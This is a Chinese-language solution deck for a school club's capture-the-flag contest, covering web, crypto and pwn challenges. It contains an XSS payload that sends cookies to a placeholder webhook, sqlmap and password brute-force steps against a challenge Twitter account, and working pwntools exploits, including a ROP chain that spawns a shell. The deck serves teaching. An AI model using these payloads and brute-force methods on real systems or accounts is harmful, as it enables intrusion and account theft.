2024 春季資安組社內賽 題解簡報
---
平台link:http://23.146.248.20:4000/
---
WEB
---
Clicke Me
https://clicker-vjwi.onrender.com/
----
觀察

一個大型的按鈕,直接按下去沒有flag
----

----
利用瀏覽器f12工具開啟查看元素

發現送出了一個no的參數,改成yes看看
(其實其他東西也都可以)
----
成功拿到flag

---
ENUM
https://iced-2024comp-enum.onrender.com/
----
觀察
直接進去後發現進到`/@1`的子目路,同時有
`Wrong ID qq` 的提示
----
推測是要進行`/@`後面的數字id爆破
利用python requests套件撰寫腳本
----
solve.py
```py
import requests as req
url='https://iced-2024comp-enum.onrender.com/@'
for i in range(1, 1001):
web=req.get(url+str(i))
if 'Wrong ID qq' not in web.text:
print(i, web.text)
break
```
---
XSS
https://iced-2024comp-xss-onrender-com.onrender.com/
----
觀察
題目敘述已經點名要利用 XSS 攻擊偷取cookie
點擊後發現get參數中的content有XSS的弱點
----
照慣例跳個`alert(1)` :D

記得要url encode
----
但是直接送給admin會發現`%3C`和`%3E`
都被拔掉了,會做不了XSS(`<`和`>`)

----
TIP
`%%3C3C`
replace掉後頭尾的字串相接剛好又是`%3C`
----
FINAL PAYLOAD
webhook_url要替換成自己的
```html
%%3C3Cimg%20src%3D%27x%27%20onerror%3D%22location.href%3D%27webhook_url%3F%27%2Bdocument.cookie%22%%3E3E
```
生成方法就是把本來的payload會被替換掉的字元前後用前一頁的方法換掉
----

---
Hack My X
https://twitter.com/JulianLaup
----
觀察
打twitter帳號?!
~~google:twitter account hack~~
你如果知道怎麼直接打拜託不要在這裡浪費人才✅
----
1.對方是澳洲人(AU)

----
2.FB帳號洩漏

----
3.生日和部落格

----
4.進到部落格

從下面的貼文得知應該是利用sqlite架設的資料庫
----
SQL INJECTION
這邊直接使用sqlmap :D

發現都是md5 hash過的值
拿到teddybear這個密碼
----
利用線上工具檢查知道Shiro的密碼是
`nogamenolife`
----
綜合上面資訊,來炸twitter_pwd的密碼
可以利用python自己寫腳本(itertools, for迴圈)
----
brute.py
```py
from itertools import permutations
from hashlib import md5
wordlist=[b'Julian', b'Paul', b'Shiro', b'AU', b'Australia', b'TW', b'Taiwan', b'teddybear', b'2000', b'0607', b'nogamenolife', b'whale', b'shark']
def gen(x):
s=b''
for i in x:
s+=i
return s
for i in range(1, 5):
for j in permutations(wordlist,i):
if md5(gen(j)).hexdigest()=='f79975048e623bce754379568af584a3':
print(gen(j))
break
```

----
回到login頁面登入

p.s.這也真的是twitter密碼
----

就藏在跟我的對話w
---
Crypto
---
Baby Crypto
----
1790531886834176213781170709574166457231961725
----
整數換成字串

也可以用線上的工具
----
凱薩密碼

啪,沒了
---
TMI
----
for迴圈枚舉三個三個做廣播攻擊
(中國剩餘定理)
~~然後格式處理很討厭我很抱歉~~
請恕我不放腳本owob
---
SupCracker
----
觀察
首先可以透過洩漏的大部分密鑰的hash值炸回去

(嚴格來說應該使用john或hashcat,~~但我懶~~)
----
接著獲得大部分的密鑰值後可以利用折半枚舉
(一半做明文加密一次後的枚舉,另一半做密文解密一次的枚舉)
(這步在資安稱為MitM攻擊(中間相遇))
----
crack.py
```py
'''
leak:6c0b4b76b562225f19ff5f62186f5384
test_ciphertext='50c3396d24d6a207c43f343adbfe2e00'
flag_ciphertext='933f2c449f0f040680723ab7c6cdfd90c1860e1d3dbbeacaf66f1074ffca7bef75a93aae837ba0f7a3b9d713e4e1c0437d8cb4e6ed5b53a96fd458b01d4f0b0649c1f426634675fe25d5abc085edefda'
'''
from Crypto.Cipher import AES
from tqdm import *
def pad(m):
padlen = -len(m) % 16
return m + bytes([0] * padlen)
key=b'whaleshark'
msg1=b'TEST~1, 2, 3'
leak1=bytes.fromhex('50c3396d24d6a207c43f343adbfe2e00')
testing={b'1'}
form={b'1':b'1'}
flag=bytes.fromhex('933f2c449f0f040680723ab7c6cdfd90c1860e1d3dbbeacaf66f1074ffca7bef75a93aae837ba0f7a3b9d713e4e1c0437d8cb4e6ed5b53a96fd458b01d4f0b0649c1f426634675fe25d5abc085edefda')
for i in trange(100000, 999999):
aes=AES.new(key+str(i).encode(), AES.MODE_ECB)
testing.add(aes.encrypt(pad(msg1)))
form[aes.encrypt(pad(msg1))]=i
for i in trange(100000, 999999):
aes=AES.new(key+str(i).encode(), AES.MODE_ECB)
if aes.decrypt(leak1) in testing:
aes1=AES.new(key+str(form[aes.decrypt(leak1)]).encode(), AES.MODE_ECB)
print(aes1.decrypt(aes.decrypt(flag)))
break
```

---
Equation
----
觀察
其時 p, q 都很接近 base
這時候可以使用Coppersmith Method
(p.s.上課沒有教而且是非高中數學不會超正常)
----
這邊直接使用sage math進行解題

---
Pwn
---
Palindrome
----
連上去發現要做一百道判斷迴文題

----
pwntools新手題
```py
from pwn import *
r=remote('23.146.248.20', 40001)
s=r.recvlines(2)
print(s)
for i in range(100):
r.recvline()
s=r.recvline().split(b"'")[1]
if s==s[::-1]:
r.sendline(b'YES')
else:
r.sendline(b'NO')
print(r.recvline())
r.interactive()
```
----
s[::-1]就python是把s給翻過來

---
Shop
----
上IDA

首先,v6要等於rand()的值
根據旁邊結果知道time_t占 8 bytes,所以如果輸入要改 v9[-4] 的元素就可以改掉 v6的值
----
最後利用隨機種子為時間的弱點
寫本地腳本同步攻擊
----
```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
int i, n;
time_t t;
n = 5;
srand((unsigned) time(&t)+1);
for( i = 0 ; i < n ; i++ ) {
printf("%d\n", rand());
}
return(0);
}
```
time_t要+1是因為連線時間差
----
Exploit
利用linux `&&` 串接指令的特性和sleep進行利用

---
RET
----
標準的ret2code攻擊
no stack canary, no pie

----
padding大小是16 bytes

----
win address

----
但是要跳過 push rbp 的部分
ret去`0x0040119b`

----
Exploit
```py
from pwn import *
r=remote('23.146.248.20', 40013)
win_addr=0x0040119b
padding=16+8
r.sendline(b'a'*padding+p64(win_addr))
r.interactive()
```

p.s.它也可以被ROP RCE但沒必要ww
---
WOF
----
其實這題出的很過分,我檢討= =
----
攻擊流程:
```
format string leak PIE 和 STACK CANARY
串ROP CHAIN,包含GET去可寫的bss段(用gdb vmmap看)
還有串syscall的經典ROP 2 RCE
```
----
Exploit
```py
from pwn import *
#r=process('./wof')
r=remote('23.146.248.20', 40003)
rop=ROP('./wof')
context.arch='amd64'
# datas
bss=(0x000c8de0+0x000cf860)//2
pop_rax=rop.rax[0]
pop_rdi=rop.rdi[0]
pop_rsi=rop.rsi[0]
pop_rdx=rop.rdx[0]
ret=pop_rsi+1
syscall=rop.syscall[0]
gets=0x00020a90
main=0x0000a1cd
# exploit
s=r.recvlines(3)
print(s)
payload1=b'%17$p,%23$p#'.ljust(64, b'r')+b'\xff'+b'#%14$p'
r.sendline(payload1)
s=r.recvline()
print(s)
s=s.replace(b'\xff', b'').decode().replace('Welcome ', '').split('#')[0].split(',')
canary=int(s[0], 16)
piebase=int(s[1], 16)-main
info(f"Input length changed, stack canary:{hex(canary)}, PIE base:{hex(piebase)}")
s=r.recv()
print(s)
bss+=piebase
pop_rax+=piebase
pop_rdi+=piebase
pop_rsi+=piebase
pop_rdx+=piebase
syscall+=piebase
ret+=piebase
gets+=piebase
main+=piebase
#r.interactive()
#payload2=b'a'*56+p64(canary)+b'a'*8+flat(pop_rdi, bss, gets, pop_rdi, bss, ret, system)
payload2=b'a'*56+p64(canary)+b'a'*8+flat(pop_rdi, bss, gets, ret, pop_rax, 0x3b, pop_rdi, bss, pop_rsi, 0, pop_rdx, 0, syscall)
info(f"ROP CHAIN 1 EXPLOITED!!!")
info(f"Payload length:{len(payload2)}")
r.sendline(payload2)
#r.interactive()
r.sendline(b'/bin/sh\x00')
info(f"Shell sent!!!")
r.interactive()
```
----

*如果有學員打出這題請幫他拍拍手
---
REV
99%會有人破台我先不打
---
FORENSICS
99%會有人破台我先不打
---
{"title":"2024 春季資安組社內賽 題解簡報","contributors":"[{\"id\":\"4aa04276-c8ec-490d-a620-ec3b4e8e3d7c\",\"add\":8128,\"del\":86}]","description":"2024 春季資安組社內賽 題解簡報"}